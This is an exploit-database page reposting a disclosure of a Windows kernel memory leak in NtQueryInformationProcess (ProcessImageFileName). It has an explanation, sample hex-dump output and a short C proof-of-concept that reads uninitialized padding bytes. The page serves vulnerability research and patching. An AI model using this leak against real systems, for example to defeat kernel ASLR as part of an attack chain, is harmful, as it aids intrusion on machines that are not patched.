Advertisement






Microsoft Windows nt!NtQueryInformationProcess (ProcessImageFileName) Kernel 64-bit Pool/Stack Memor

CVE Category Price Severity
CWE-XX Unknown Unknown
Author Risk Exploitation Type Date
Unknown Unknown Unknown 2018-04-18
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018040143

Below is a copy:

Microsoft Windows nt!NtQueryInformationProcess (ProcessImageFileName) Kernel 64-bit Pool/Stack Memory Disclosure
/*
We have discovered that the nt!NtQueryInformationProcess system call invoked with the ProcessImageFileName (0x1B) information class discloses uninitialized kernel memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.

According to the ZwQueryInformationProcess function documentation [1], the ProcessImageFileName information class returns a UNICODE_STRING structure containing the name of the image file for the specific process. The definition of the structure is as follows:

--- cut ---
  typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
  } UNICODE_STRING, *PUNICODE_STRING;
--- cut ---

On x64 builds, the compiler introduces 4 bytes of padding between the "MaximumLength" and "Buffer" fields, in order to align the "Buffer" pointer to an 8-byte boundary. These padding bytes are never initialized in the kernel's local copy of the structure, and so they are returned to the user-mode caller in this form. Interestingly, on Windows 7, the uninitialized bytes originate from a pool allocation, while on Windows 10, they come from uninitialized kernel stack memory (specifically from the stack frame of the nt!PspInitializeFullProcessImageName function, according to our tests).

The problem is best illustrated by running the attached proof-of-concept program, which invokes the nt!NtQuerySystemInformation syscall with the affected information class and prints the contents of the output buffer on the screen. The result of running it in our test Windows 7 environment is as follows:

--- cut ---
  C:\>NtQueryInformationProcess_ImageFileName.exe
  Status: 0, Return Length: 98
  00000000: 86 00 88 00 55 55 55 55 e0 ca 77 3f 01 00 00 00 ....UUUU..w?....
  00000010: 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 \.D.e.v.i.c.e.\.
  00000020: 48 00 61 00 72 00 64 00 64 00 69 00 73 00 6b 00 H.a.r.d.d.i.s.k.
  00000030: 56 00 6f 00 6c 00 75 00 6d 00 65 00 32 00 5c 00 V.o.l.u.m.e.2.\.
  00000040: 4e 00 74 00 51 00 75 00 65 00 72 00 79 00 49 00 N.t.Q.u.e.r.y.I.
  00000050: 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 n.f.o.r.m.a.t.i.
  00000060: 6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 o.n.P.r.o.c.e.s.
  00000070: 73 00 5f 00 49 00 6d 00 61 00 67 00 65 00 46 00 s._.I.m.a.g.e.F.
  00000080: 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 00 2e 00 i.l.e.N.a.m.e...
  00000090: 65 00 78 00 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........

  C:\>NtQueryInformationProcess_ImageFileName.exe
  Status: 0, Return Length: 98
  00000000: 86 00 88 00 71 71 71 71 e0 ca d2 3f 01 00 00 00 ....qqqq...?....
  00000010: 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 \.D.e.v.i.c.e.\.
  00000020: 48 00 61 00 72 00 64 00 64 00 69 00 73 00 6b 00 H.a.r.d.d.i.s.k.
  00000030: 56 00 6f 00 6c 00 75 00 6d 00 65 00 32 00 5c 00 V.o.l.u.m.e.2.\.
  00000040: 4e 00 74 00 51 00 75 00 65 00 72 00 79 00 49 00 N.t.Q.u.e.r.y.I.
  00000050: 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 n.f.o.r.m.a.t.i.
  00000060: 6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 o.n.P.r.o.c.e.s.
  00000070: 73 00 5f 00 49 00 6d 00 61 00 67 00 65 00 46 00 s._.I.m.a.g.e.F.
  00000080: 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 00 2e 00 i.l.e.N.a.m.e...
  00000090: 65 00 78 00 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........
--- cut ---

It is clearly visible that the 4 bytes at offsets 0x4-0x7 are equal to the markers inserted by Special Pools, and would otherwise contain leftover data previously stored in that pool memory region. On Windows 10, we have observed portions of kernel pointers and other leftover data from the kernel stack within these 4 bytes of padding.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  static BYTE OutputBuffer[1024];

  ULONG ReturnLength = 0;
  NTSTATUS Status = NtQueryInformationProcess(GetCurrentProcess(), ProcessImageFileName, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);

  printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
  PrintHex(OutputBuffer, ReturnLength);

  return 0;
}

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.